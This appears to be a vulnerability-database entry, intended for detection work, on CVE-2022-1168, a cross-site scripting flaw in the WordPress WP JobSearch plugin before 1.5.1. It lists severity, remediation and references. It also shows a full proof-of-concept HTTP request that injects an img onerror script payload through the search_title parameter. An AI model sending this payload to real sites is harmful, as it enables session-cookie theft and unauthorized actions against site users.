🔙 목록으로 돌아가기

CVE-2022-1168: WordPress WP JobSearch <1.5.1 - Cross-Site Scripting

TitleWordPress WP JobSearch <1.5.1 - Cross-Site Scripting
AuthorAkincibor
SeverityMedium
ImpactAttackers can inject malicious JavaScript via XSS in the search_title parameter, potentially stealing user session cookies or performing unauthorized actions.
RemediationUpdate to the latest version of the WP JobSearch plugin (1.5.1 or higher) to mitigate the XSS vulnerability.
CVSS Score6.1
EPSS Score0.03356
CVE IDCVE-2022-1168
CWE IDCWE-79
Tags cve cve2022 wp-jobsearch" wpscan wp-plugin wp wordpress xss eyecix vuln

🔍 Vulnerability Description

WordPress WP JobSearch plugin prior to 1.5.1 contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

🌐 HTTP Request

GET /plugins/jobsearch/?search_title=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert%28domain%29%3E&ajax_filter=true&posted=all&sort-by=recent HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-1168.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-1168.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A